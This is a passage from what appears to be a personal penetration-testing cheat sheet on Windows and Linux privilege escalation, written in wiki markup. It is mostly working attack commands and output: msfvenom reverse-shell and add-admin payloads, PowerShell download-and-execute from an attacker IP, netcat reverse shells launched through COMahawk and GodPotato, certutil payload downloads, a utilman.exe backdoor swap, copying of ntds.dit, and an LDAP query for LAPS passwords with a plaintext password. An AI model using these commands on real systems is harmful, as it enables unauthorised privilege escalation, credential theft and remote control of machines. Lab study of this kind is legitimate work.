$credential = New-Object System.Management.Automation.PSCredential (&amp;quot;Administrator&amp;quot;, $password)&lt;br /&gt;
Start-Process -Credential $credential -FilePath &amp;quot;C:\Users\Offsec\Desktop\ProcessHollow.exe&amp;quot;&lt;br /&gt;
# Now on the shell you have, run this command.&lt;br /&gt;
iex(new-object net.webclient).downloadstring(&#039;http://192.168.45.198/test.ps1&#039;)&lt;br /&gt;
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method again is to RDP to the target if possible and Run As.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AlwaysInstallElevated ====&lt;br /&gt;
&lt;br /&gt;
If these two registers are enabled then users of any privilege can install &#039;&#039;&#039;.msi &#039;&#039;&#039;files as NT AUTHORITY\SYSTEM&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated&lt;br /&gt;
# If 0x1 then its enabled&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&lt;br /&gt;
# Msfvenom payload&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted&lt;br /&gt;
# The above is better for persistence&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi &amp;gt; rev_shell.msi # Recommeded if not AD.&lt;br /&gt;
# Execute&lt;br /&gt;
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi&lt;br /&gt;
&lt;br /&gt;
----------------&lt;br /&gt;
# The above command will probably be detected by AV. You can compile your own .msi.&lt;br /&gt;
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated&lt;br /&gt;
PS C:\WiX Toolset v3.11\bin&amp;gt; .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
# You can also use MSI Wrapper.&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
------------------------------------------&lt;br /&gt;
# There is also a metasploit module, but it needs a bit tweaking&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
# In the multi handler do the following&lt;br /&gt;
set DisablePayloadHandler true - # Disable built-in listener&lt;br /&gt;
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload&lt;br /&gt;
run -j -z - # Background listener&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; use exploit/windows/local/always_install_elevated&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set VERBOSE true&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set payload windows/exec&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set session 1&lt;br /&gt;
# The encoded powershell command do &#039;whoami &amp;gt; C:\whoami.txt&#039; to verify that it works&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA=&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;C:\proc_hol.exe&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# You should get a callback to your meterpreter listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]&lt;br /&gt;
&lt;br /&gt;
==== BarracudaDrive 6.5 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass UAC ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy  Level shell, we might bypass uac.&lt;br /&gt;
# Notice the last line, &amp;quot;Mandatory Label\Medium Mandatory Level&amp;quot;&lt;br /&gt;
whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name                                 Type             SID          Attributes&lt;br /&gt;
========================================== ================ ============ ==================================================&lt;br /&gt;
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only&lt;br /&gt;
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192&lt;br /&gt;
&lt;br /&gt;
# Next check if UAC is enabled&lt;br /&gt;
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.&lt;br /&gt;
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;br /&gt;
# We then have to find a binary that have &amp;quot;autoElevate&amp;quot; set to true.&lt;br /&gt;
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)&lt;br /&gt;
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate&lt;br /&gt;
        true&lt;br /&gt;
# Then we have to generate a payload using msfvenom.&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe &amp;gt; shell.exe&lt;br /&gt;
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c&lt;br /&gt;
# Compile the above code&lt;br /&gt;
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe&lt;br /&gt;
# Transfer the binary to target and execute&lt;br /&gt;
.\eventvwr-bypassuac-64.exe&lt;br /&gt;
# Check your listener and then run &amp;quot;whoami /groups&amp;quot; again and check last line.&lt;br /&gt;
Mandatory Label\High Mandatory Level       Label            S-1-16-12288&lt;br /&gt;
# This means you can run elevated commands. Dumping hashes etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/apt69/COMahawk&lt;br /&gt;
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka &#039;Windows UPnP Service Elevation of Privilege Vulnerability&#039;.&lt;br /&gt;
# Method 1&lt;br /&gt;
.\COMahawk64.exe&lt;br /&gt;
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9&lt;br /&gt;
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.&lt;br /&gt;
# Method 2&lt;br /&gt;
.\COMahawk64.exe &amp;quot;C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HiveNightmare ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/GossiTheDog/HiveNightmare&lt;br /&gt;
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LAPS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If we have valid creds for LDAP we can query LDAP for the local admin password.&lt;br /&gt;
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b &amp;quot;DC=hutch,DC=offsec&amp;quot; -h 192.168.120.108 &amp;quot;(ms-MCS-AdmPwd=*)&amp;quot; ms-MCS-AdmPwd&lt;br /&gt;
# LAPS is a tool that periodically changes the local administrator&#039;s password when it expires. It then stores the password details in the Active Directory.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Potatos (SeimpersonatePrivilege) ====&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]&lt;br /&gt;
&lt;br /&gt;
===== Finding CLSID =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function Lookup-Clsid&lt;br /&gt;
{&lt;br /&gt;
    Param([string]$clsid)&lt;br /&gt;
    $CLSID_KEY = &#039;HKLM:\SOFTWARE\Classes\CLSID&#039;&lt;br /&gt;
    If ( Test-Path $CLSID_KEY\$clsid) {&lt;br /&gt;
        $name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).&#039;(default)&#039;&lt;br /&gt;
        $dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).&#039;(default)&#039;&lt;br /&gt;
    }&lt;br /&gt;
    $name, $dll&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hot Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/foxglovesec/Potato&lt;br /&gt;
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rotten Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/breenmachine/RottenPotatoNG&lt;br /&gt;
After having a meterpreter shell with incognito mode loaded:&lt;br /&gt;
MSFRottenPotato.exe t c:\windows\temp\test.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Lonely Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.&lt;br /&gt;
https://github.com/decoder-it/lonelypotato&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download repository&lt;br /&gt;
https://github.com/ohpe/juicy-potato&lt;br /&gt;
https://github.com/antonioCoco/JuicyPotatoNG&lt;br /&gt;
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;br /&gt;
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rogue Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/antonioCoco/RoguePotato&lt;br /&gt;
# Run in your machine the socat redirection (replace VICTIM_IP):&lt;br /&gt;
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999&lt;br /&gt;
# Execute PoC (replace YOUR_IP and command):&lt;br /&gt;
.\RoguePotato.exe -r YOUR_IP -e &amp;quot;command&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== GodPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]&lt;br /&gt;
&lt;br /&gt;
Enables privilege escalation in Windows 2012 - Windows 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GodPotato -cmd &amp;quot;cmd /c whoami&amp;quot;&lt;br /&gt;
GodPotato -cmd &amp;quot;nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SharpEfsPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;quot;whoami | Set-Content C:\temp\w.log&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== PrintSpoofer =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.&lt;br /&gt;
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:&lt;br /&gt;
PrintSpoofer.exe -i -c cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Se-privileges ====&lt;br /&gt;
&lt;br /&gt;
===== Great list and explanation =====&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This ppt will explain how to exploit different SePrivileges&lt;br /&gt;
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeManageVolume =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xct/SeManageVolumeAbuse&lt;br /&gt;
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeLoadDriverPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for PG Fuse&lt;br /&gt;
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeRestorePrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.&lt;br /&gt;
# See PG Heist writeup&lt;br /&gt;
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.&lt;br /&gt;
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1&lt;br /&gt;
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.&lt;br /&gt;
# Example of ways to escalate privilege&lt;br /&gt;
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen&lt;br /&gt;
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old&lt;br /&gt;
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe&lt;br /&gt;
# Now RDP to target without logging in. Then press win+u&lt;br /&gt;
rdesktop 192.168.153.165&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== SeBackupPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeBackUpPrivilege basically allows for full system read.&lt;br /&gt;
# See if user is member of &#039;Backup Operator&#039;.&lt;br /&gt;
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
# https://github.com/giuliano108/SeBackupPrivilege&lt;br /&gt;
# Example 1&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeUtils.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeCmdLets.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup&lt;br /&gt;
SeBackupPrivilege is disabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE&lt;br /&gt;
Get-ChildItem : Access to the path &#039;E:\V_BASE&#039; is denied.&lt;br /&gt;
At line:1 char:4&lt;br /&gt;
+ dir  Set-SeBackupPrivilege&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege&lt;br /&gt;
SeBackupPrivilege is enabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE # ...having enabled the privilege, this now works&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----        18/07/2013     13:04            Private&lt;br /&gt;
PS C:\scripts&amp;gt; cd E:\V_BASE\Private&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; dir&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE\Private&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
-----        05/07/2013     12:29     306435 report.pdf&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite&lt;br /&gt;
Copied 306435 bytes&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# Example 2&lt;br /&gt;
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns&lt;br /&gt;
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeCreateTokenPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.greyhathacker.net/?p=1025&lt;br /&gt;
Try running it many times&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SMBGhost ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CVE-2020-0796&lt;br /&gt;
# https://github.com/danigargu/CVE-2020-0796&lt;br /&gt;
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp&lt;br /&gt;
# Compile it. Change &#039;debug&#039; to &#039;release&#039;, set correct architecture.&lt;br /&gt;
# Transfer to target&lt;br /&gt;
.\cve-2020-0796.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Iperius Backup 6.1.0 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/46863&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SystemScheduler =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/45072&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Unquoted Service Path ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In order to exploit Unquoted service path we have to:&lt;br /&gt;
# - Be able to write to the target folder - Use icacls&lt;br /&gt;
# - Be able to restart the service or machine&lt;br /&gt;
# Exmaple (10.1.1.89)&lt;br /&gt;
icacls enterprisesystemmanager.exe # We have modify permissions&lt;br /&gt;
# Generate a payload&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe &amp;gt; enterprisesystemmanager.exe&lt;br /&gt;
# Move original .exe to .bak&lt;br /&gt;
 move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak&lt;br /&gt;
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.119.130/enterprisesystemmanager.exe&amp;quot;&lt;br /&gt;
# Catche the connection&lt;br /&gt;
rlwrap nc -lvnp 443                                                                                                                                  1 ⨯&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085&lt;br /&gt;
Microsoft Windows [Version 10.0.15063]&lt;br /&gt;
(c) 2017 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows XP SP0/SP1 - UPNP service exploit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html&lt;br /&gt;
# Requirenment: Obtained a low privilege shell on your victim&#039;s computer. Operating system is Windows XP with SP0 or SP1 installed.&lt;br /&gt;
# See write up for PWK 10.11.1.14.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Exploit Suggester ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Kernel Exploit list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/SecWiki/windows-kernel-exploits&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== xampp 7.3 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]&lt;br /&gt;
└─# cat exploit.ps1&lt;br /&gt;
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation&lt;br /&gt;
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)&lt;br /&gt;
# Original Author: Maximilian Barz (@S1lkys)&lt;br /&gt;
# Date: 27/09/2021&lt;br /&gt;
# Vendor Homepage: https://www.apachefriends.org&lt;br /&gt;
# Version: XAMPP &amp;lt; 7.2.29, 7.3.x &amp;lt; 7.3.16 &amp;amp; 7.4.x &amp;lt; 7.4.4&lt;br /&gt;
# Tested on: Windows 10 + XAMPP 7.3.10&lt;br /&gt;
# References: https://github.com/S1lkys/CVE-2020-11107&lt;br /&gt;
$file = &amp;quot;C:\xampp\xampp-control.ini&amp;quot;&lt;br /&gt;
$find = ((Get-Content $file)[2] -Split &amp;quot;=&amp;quot;)[1]&lt;br /&gt;
# Insert your payload path here&lt;br /&gt;
$replace = &amp;quot;C:\Users\Mike\Downloads\rev.exe&amp;quot;&lt;br /&gt;
(Get-Content $file) -replace $find, $replace | Set-Content $fil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2009-2698 (Centos 4.8) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xiaoxiaoleo/CVE-2009-2698&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2021-4034 (polkit) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/joeammond/CVE-2021-4034&lt;br /&gt;
# Check suid and see if /usr/bin/pkexec is present and python&lt;br /&gt;
# Then compile and run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2023–22809 (bypass sudo) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
